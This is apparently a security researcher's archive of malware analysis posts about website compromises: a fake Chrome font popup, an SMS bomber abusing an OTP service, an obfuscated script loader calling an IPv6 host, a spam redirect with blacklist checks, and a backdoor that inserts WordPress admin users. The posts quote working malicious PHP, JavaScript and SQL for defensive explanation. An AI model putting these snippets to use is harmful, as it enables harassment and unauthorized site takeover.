Author: Luke Leal

Luke is a Malware Researcher at Sucuri. He enjoys boosting his desktop computer's performance and credits gaming with building his initial interest into anything computer related. When not saving websites, he likes to go on nature hikes or watch YouTube.

“Google Fonts” popup leads to malware

A recent malware injection in a client\'s WordPress file was found to be targeting website visitors that were using the Google Chrome browser to access the infected website. It uses Javascript to detect the visitor\'s use of Google Chrome and then upon the visitor clicking it generates a popup notification which falsely claims that the visitor\'s Google Chrome is missing the HoeflerText font and that it is preventing the website from loading correctly.

It then instructs the website visitor to click a button on the popup notification - which then ends with a serious Azorult malicious .exe being downloaded to the website visitor\'s machine. It looks like this specific Azorult malware family was recently updated and it seems to currently have a detection rate of under 50% for major anti-virus softwares.


The \"HoeflerText\" font wasn't found.

The web page you are trying to load is displayed incorrectly, as it uses the \"HoeflerText\" font. To fix the error and display the text, you have to update the \"Chrome Font Pack\".

Step 1: In the bottom left corner of the screen you'll see the download bar. Click on the Chrome_Font.exe item.
Step 2: Press Yes(Run) in order to see the correct content on the web page.

Manufacturer:   Google Inc. All Rights Reserved
Current version:    Chrome Font Pack 53.0.2785.89
Latest version: Chrome Font Pack 57.2.5284.21

Update
Sep 10, 2018 by Luke Leal

How Some OTP Systems Can Be Used to...

I recently came across an interesting index.php file and its corresponding directory on a compromised website. I loaded it in a testing environment and immediately it was apparent that this malicious PHP file was different than your average spam tool:


GUI for this spamming tool. *Note - the "No Telp" telephone number field and the "Jumlah SMS" number of SMS field.

This particular malicious file\'s GUI stood out because it would send SMS(text) messages to a user-specified cellular telephone number. This isn\'t a standard operating procedure for most of the spam campaigns that I have encountered over the years, as they try to target as many email addresses, or phone numbers, as possible to increase the attack surface and the probability of a successful delivery.

AA further analysis of the code within the malicious spam tool file revealed further information:

public function Verif()
    {
        $url = "https://www.tokocash.com/oauth/otp";
        $no = $this->no;
        $type = $this->type;
        if ($type == 1) {
            $data = "msisdn={$no}&accept=";
        }elseif ($type == 2) {
            $data = "msisdn={$no}&accept=call";
        }
        $send = $this->sendC($url, null, $data);
        // echo $send;
        if (preg_match('/otp_attempt_left/', $send)) {
                print('OTP berhasil Dikirim!<br>');
            } else {
                print('OTP Gagal Dikirim!<br>');
            }
    }

sendC is a function defined earlier that just constructs a cURL request with special headers

After checking this PHP file's code, it's clear that the SMS spam message isn't actually being sent from the web server hosting the compromised website. Instead, the PHP file's coding would be executed from the web page previously shown. Then it would submit a specially crafted cURL request (saved as function sendC) to an Indonesian website that had an authentication system utilizing a OTP feature. The request sent to this website's OTP system would include parameters in the URL that include the victim's phone number and whether to perform the OTP two-factor authentication via phone call or SMS text message.

Apparently, it turns out that this PHP script is nothing more than a "prank" spam tool that will just continuously send SMS or phone calls to the victim's phone number until the OTP system starts rejecting the requests. It's an interesting method of "prank" spam in regards to how the SMS message is sent out. It doesn't use the malicious user's server nor the compromised website's hosting server but rather abuses a legitimate TokoCash/Tokopedia's authentication service to bombard the phone number. Notice in the screenshot spamming tool, the word bom, which means "bomb" in Indonesian.

I reached out to this Indonesian website to inform them of the prank spam issue with their OTP system so that they can hopefully implement some access control security to harden the OTP from this type of abuse.

Jul 25, 2018 by Luke Leal

Hackers Are Just as Vulnerable as You

I came across some interesting defacement pages recently and noticed a peculiar JavaScript injection included within each source code of the defaced websites. As shown below, this JavaScript injection was peculiar as it seemingly provided no benefit to the hacker:

<script>
    ANCHORFREE_VERSION = "623161526"

<script type='text/javascript'>
    var _AF2$ = {
        'SN': 'HSSHIELD00TN',
        'IP': '69.22.172.11',
        'CH': 'HSSCNL000393',
        'CT': '0',
        'HST': '&sessStartTime=0&SFLAG=1&in=1423962910_84044764|d,1553137850|w,1553137850|m,1553137850|t&out=1423962910_23400718|d,305397307|w,305397307|m,305397307|t&NUM_VID=2&NUM_VID_TS=1423962310&bChrome=40&pv=5&clsBtnCnt=14&fav=8&fvidat=0&fvidv=0&accessLP=1',
        'AFH': 'hss306',
        'RN': Math.floor(Math.random() * 999),
        'TOP': (parent.location != document.location || top.location != document.location) ? 0 : 1,
        'AFVER': '3.69',
        'fbw': false,
        'FBWCNT': 0,
        'FBWCNTNAME': 'FBWCNT_CHROME',
        'NOFBWNAME': 'NO_FBW_CHROME',
        'B': 'c',
        'VER': 'nonus'
    };
    if (_AF2$.TOP == 1) {
        document.write("<scr" + "ipt src='http[:]//box.anchorfree.net/insert/insert.php?sn=" + _AF2$.SN + "&ch=" + _AF2$.CH + "&v=" + ANCHORFREE_VERSION + 6 + "&b=" + _AF2$.B + "&ver=" + _AF2$.VER + "&afver=" + _AF2$.AFVER + "' type='text/javascript'></scr" + "ipt>");
    }

The injected javascript code contains some details from the client\'s connection to the HotSpot Shield VPN server, then runs a javascript file from box.anchorfree.net

I haven\'t come across this type of content within any other forms of malware – just your typical Hacked by _____, or 0wned by _____ message, or an otherwise unwanted defacement of someone\'s website.

It only took a single Google search to determine that anchorfree.net is associated with the popular HotSpot Shield VPN, which has millions of downloads in the Google Play store alone (they also offer browser plugins for non-mobile users). They offer both a free and a paid version of their VPN service, however in the last year or so there have been demands for federal authorities to investigate them for deceptive practices.

(If you are curious about using a VPN for privacy reasons, or already are using one, then I\'d recommend checking out the official complaint here).

So what does this have to do with hackers and their defacement pages? Well, we know that in the majority of cases, the hacker is wanting to anonymize themselves. Nowadays, that usually involves using at least one VPN or more. Often times, the hackers that focus on defacements are more inexperienced and new, so they may lack the inherent suspicion one has to have when dealing with free services like HotSpot Shield VPN or any other free online services they must monetize to remain in operation. Their form of monetization is to inject JavaScript code into the browser requests of their non-paying clients (unsure about the Premium paid version), which is then used with additional JavaScript from a few different third-party domains:

document.write("<style type='text/css' title='AFc_css"
+_AF2$.RN+"' >.AFc_body"+_AF2$.RN+"{}.AFc_all"+_AF2$.RN+",a.AFc_all"+_AF2$.RN+":hover,a.AFc_all"+_AF2$.RN+"
:visited{outline:none;background:transparent;border:none;margin:0;padding:0;top:0;
left:0;text-decoration:none;overflow:hidden;display:block;z-index:666999;}</style>
<style type='text/css'>.AFhss_dpnone{display:none;width:0;height:0}</style>
<img src=\"about:blank\" id=\"AFhss_trk0\" name=\"AFhss_trk0\"
 style=\"display:none\" /><img src=\"about:blank\"id=\"AFhss_trk\" 
name=\"AFhss_trk\" style=\"display:none\"/><iframe src=\"http://anchorfree.us/quantcast.php\" style=\"width:0px;height:0px;display:none;\"></iframe>");

Just a small excerpt of the nearly 2,000 line JavaScript text showcasing some of the hidden CSS styling and also the setup of an invisible iFrame, which is a popular method of delivering malicious JavaScript payloads.

As this article isn't about HotSpot Shield VPN specifically, I won't go too in depth about it, but suffice it to say this JavaScript code from their controlled domains is using tracking images and injecting advertisements (some of which could be malicious) into their client's browser.

The purpose of explaining this, was to showcase how even hackers can be victims to one of the biggest hurdles known in website security and that is the human's ability to override otherwise secure settings. This is most commonly witnessed in a human downloading some type of software – in this case, a free VPN service –unknowingly exposing themselves to malicious or PUP (potentially unwanted programs). Another common method of the human factor failing otherwise secure settings is through social engineering.

In conclusion, one should be suspicious of products advertised as completely free and should try to understand the terms of service (SLA) so they are aware of what they may be giving away or exposed to in exchange for the free service. In these defacement cases, the inexperienced hacker relied upon a free VPN service that was unknowingly injecting JavaScript to his browser and so when they created the defacement page (likely through an online editor or browser interface) it caused the HotSpot Shield VPN JavaScript to get passed as text to the created defacement page rather than executed within the client's browser as is intended.

Jun 15, 2018 by Luke Leal

IPv6 address in malicious Javascript redirect

We recently came across a file that shows an interesting case with a Javascript malicious code injection in a website’s custom script file, though it’s not specific to any particular website software:


Infected filename: ./paginas/rodape.php

As this is just a malicious code injection, the filename can be just about anything with a legitimate file extension (i.e .php, .html, .htm, etc) on most web server configurations. The injection was found to just be added to the bottom of the file’s text and was within the normal HTML Javascript tags (<script></script>):

<script src='data:application/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoIiUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCUzYSUyZiUyZiU1YiUzYSUzYSU2NiU2NiU2NiU2NiUzYSUzMSUzMiU2NCU2MyUzYSU2MSUzNyUzMiUzMiU1ZCUyZiUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSIpKTs='>
</script>

This injection may not look that suspicious if not checked carefully as there are legitimate uses of base64 encoded data within Javascript applications, however a quick decoding of the base64 using base64_decode function in PHP, base64 -d command on Linux (Debian based), or the fastest way is to use one of the myriad of online decoder websites. Below is the result of decoding the base64 text from the above malicious code:

document.write(unescape("%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%5b%3a%3a%66%66%66%66%3a%31%32%64%63%3a%61%37%32%32%5d%2f%22%3e%3c%2f%73%63%72%69%70%74%3e"));

The base64 decoded text reveals another layer of text that is de-obfuscated through the unescape function, but it also reveals something that is suspicious: document.write(

 

The Javascript function document.write is often seen in malicious Javascript code injections as causes whatever is within the function’s parentheses to be written to the visitor’s browser page.

 

Now that we know that this code is trying to write something to the visitor’s browser, lets decode the URL encoded text that follows the unescape( text:

<script src="https://[::ffff:12dc:a722]/"></script>

This reveals the true nature of this obfuscated Javascript injection; the code exists to use the document.write function so it can force the visitor’s browser to load an external Javascript file and in this case it just so happens to be hosted on a IPv6 address. The result for the unsuspecting visitor is being redirect to the above IPv6 address which contains a website with Adobe Flash images and instructing the visitor to update their Adobe Flash through a popup dialog box:

If the visitor clicks anywhere on the website page itself then they are automatically redirected, again using Javascript hosted on the IPv6 address, to a hosted file that presumably contains malware. I was unable to confirm the file as it had been taken down at the time of testing, but it is quite easy for the malware distributor to just switch to using a different host for the malicious file that is downloaded to the visitor’s computer.

 

This is interesting because while IPv6 addresses have been in use for some time now, they still aren’t used very often for hosting an entirely malicious website and sending unsuspecting users there through malicious Javascript that is injected into compromised websites. We still primarily see domain names or the more known IPv4 which is what most people consider when they think of an IP address. Now might be a good time to learn a little more about IPv6 just so that you can recognize it and know that it operates similarly to IPv4 in that can be used as a URL.

If you are ever worried that a similar malicious Javascript injection may be on your website, then please try out our completely free, no account required website scanner: SiteCheck.

Nov 29, 2017 by Luke Leal

Checking blacklisted domains or IP for spamming

Often times we will encounter websites that have been injected with a redirect and these can vary from blackhat SEO tactics for boosting domain rankings all the way to phishing pages trying to steal login credentials. In this case, the redirect was contained within random alphanumerically named PHP files and it redirected visitors to the specified files and then to a pharmacy spam website that contained all of the drug names that you will commonly see in your emails located within your spam folder. This seems to indicate that the attacker was spamming from other third-party servers and within the pharmacy spam email they would include the URLs to the malicious file on our client’s web server. Let us analyze parts of this malicious file:


if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}header('Location: http://[malicious domain]/');

The payload that is delivered to an unsuspecting visitor is a browser redirect in the form of the ‘header’ PHP function to a malicious domain. This same malicious file with the redirect will be placed on multiple websites that have been compromised already, then the attacker will direct traffic via hyperlinks in the outgoing spam emails to the compromised websites hosting the malicious file with the redirect. The goal of the attacker is to try and trick spam filters by using legitimate websites that have been compromised and contain the malicious redirect instead of using their actual pharmacy spam website within the spam email. If they did include their pharmacy spam website URL directly in the outgoing spam emails, then it would not be long until the spam filters (i.e Spamhaus) blacklist the entire domain name of the pharmacy spam website.

Another problem is that if the compromised websites, or their hosting IPs, become blacklisted then it will be detected by spam filters and also prevent delivery of the spam email due to them containing blacklisted content.

This means that the hacker will want to be able to regularly check upon the referring websites that contain the malicious redirect file and determine whether they have become blacklisted or not. In this specific malicious file, the blacklist checks were triggered through a $_GET request to the malicious file with a specified URL parameter. After such a request is received, it will trigger the PHP file to use the file_get_content function to obtain the output of the text version of Google SafeBrowsing Diagnostics page.  

if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');

Once a compromised referring website shows as blacklisted, or its hosting IP shows as blacklisted, then the hacker can stop redirecting from that domain or IP to prevent any negative impacts on their targeted domain.

As mentioned earlier, there are usually many compromised websites being used to refer/redirect to the targeted domain, and so to be efficient along with automating tasks; the attacker will then create a cron job or other scheduled task to send the $_GET request to the malicious file and based upon the returned HTTP code they will be able to determine whether the website or hosting IP address has been blacklisted. If it returns a 202 HTTP code when the cron job executes the $_GET request with the necessary URL parameter, then that means it is blacklisted by Google. Often times these cron jobs will output the results of the $_GET request into a file so it can be monitored over a period of time, but by default the cron job will send an email to the configured email address after each time the cron runs. Below is an example of such a cron job that runs every minute and stores the specific numerical HTTP code from the $_GET sent to the malicious redirect file on the compromised website:

# crontab -l* * * * * curl -sD - "http://localhost/malware.php?mod=00X" | grep HTTP | awk '{print $2}' > /tmp/http.txt

The following coding excerpt from the malicious redirect file shows how the script will immediately exit/terminate if it responds to a $_GET request with the HTTP code 202, which means there is a blacklisting active:

$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}

The automated blacklist checking helps the attacker by allowing them to avoid sending their spam emails with blacklisted domains or blacklisted IP addresses as they are well aware that this curtails upon their redirect success rate.

Feb 8, 2017 by Luke Leal

Search and Backdoor

The ubiquity of “unlimited” shared hosting platforms has incentivized malware in trying to infect as many adjacent website directories as it can to increase its overall surface area. The more infected the area is, the more likely that at least one piece of malware can evade detection long enough to successfully reinfect the web hosting environment.

When a website is infected or compromised, the malicious user will often times leave a backdoor that can be used to regain unauthorized access to the website or system. A backdoor doesn’t necessarily have to be an existing malicious file; it can also be within a database or running process. A database backdoor could be a shell script included within a row of a table that is loaded on a certain URL. Or in some cases, it can involve an actual user being inserted into a CMS database with full privileges by the malicious user.

I encountered a malicious file that upon execution will go one level above the root of the infected WordPress or Joomla site:


...define('MAX_UP_DIRS' ,10);$counter = 0;while(chdir('..')) {  $counter++;     if($counter > MAX_UP_DIRS) {     break;  }   foreach(glob(getcwd() . '/*') as $file) {      if(strpos($file, 'wp-config.php') !== false      || strpos($file, 'wp-admin') !== false       || strpos($file, 'configuration.php') !== false      || strpos($file, 'administrator') !== false) {           break 2;        }   }}chdir('..');...

From there, it recursively searches all adjacent sites for configuration files.

...foreach ($iter as $path => $dir) {    if ($dir->isDir()) {        $wp_config_file = $path . '/wp-config.php';       $jm_config_file = $path . '/configuration.php';        if(file_exists($wp_config_file)) {         $wp_cfgs[] = $wp_config_file;       }       if(file_exists($jm_config_file)) {          $joomla_cfgs[] = $jm_config_file;       }    }}...

Then it uses information inside the configuration files in order to connect to the database via MySQL and inject a new admin user for all adjacent sites using the following queries:

"INSERT INTO  {$table_prefix}users (ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES($user_id,'$user_name',REDACTED,'$user_name','".$user_name."0985488@mailinator.com','201".rand(0,5)."-0".rand(1,9)."-1".rand(1,9)." 12:00:00',0,'$user_name')";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}capabilities', 'a:1:{s:13:"administrator";b:1;}');";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}user_level', 10);";

The source coding also reveals plans to develop the file so that it has capabilities of targeting Joomla installations (i.e $jm_config_file variable and configuration.php file) and inserting their admin user into Joomla database structures. If the hints in the source code weren’t enough, the author even included a notation of their plans:

#TO DO : JOOMLA!!!

In the end, this file helps to show how malicious users try to automate the task of generating backdoors. While the automated creation of an admin user by malware may seem to be relatively simple and crude, it has shown to be effective enough. For that reason it’s not that uncommon when encountering a compromised WordPress, or really any CMS (Content Management System) installation.

If your sites are affected by this or similar malware, please check our guides:

Or sign up for our Website AntiVirus service and we will clean and protect your sites.

Jan 18, 2017 by Luke Leal

Camouflage does not have to be advanced to...

Often times a malware author will try to provide some type of camouflage to their malware’s coding in an effort to disguise an unsuspecting eye from its true intentions. I recently came across an interesting example from a malicious file used to bypass authentication when accessing wp-admin:


If you aren’t familiar with the word “Softaculous”, it is a popular installer for common CMS and other scripts. If you have ever used a “one click install” tool like Fantastico de Luxe or QuickInstall/Mojo Marketplace, then it is similar to that.

I also want to mention that the filename was a random alphanumeric string, so it wasn’t possible to determine the legitimacy through the filename alone. For that reason, we needed to analyze the coding and make our determination through there.

An unsuspecting person may view line 4 and see that it mentions Softaculous. If they used Softaculous before, they may just take a quick glance at the rest of the file. Since Softaculous allows for automatic updates, and users update WordPress through wp-admin,  doesn’t it seem reasonable that Softaculous may need to access wp-admin for updates and that’s the purpose of this file?

This is a great example of how the camouflage attempts to trick the user into thinking this is, or might be, just a normal file. Due to this doubt, some users won’t delete the file, leaving it intact (as I am sure many of us have accidentally deleted an important file and know how destructive that can be, especially if you don’t have any backups).

Ultimately the file was not legitimate and was determined to have been maliciously added. It’s what I would call a multi-layer backdoor, as the hacker could also create their own admin user once inside wp-admin so they wouldn’t have to rely on the file being there in the future (though a professional or security-experienced user should know to examine existing users).

If you need any help or have any questions, let us know. 🙂

Jan 12, 2017 by Luke Leal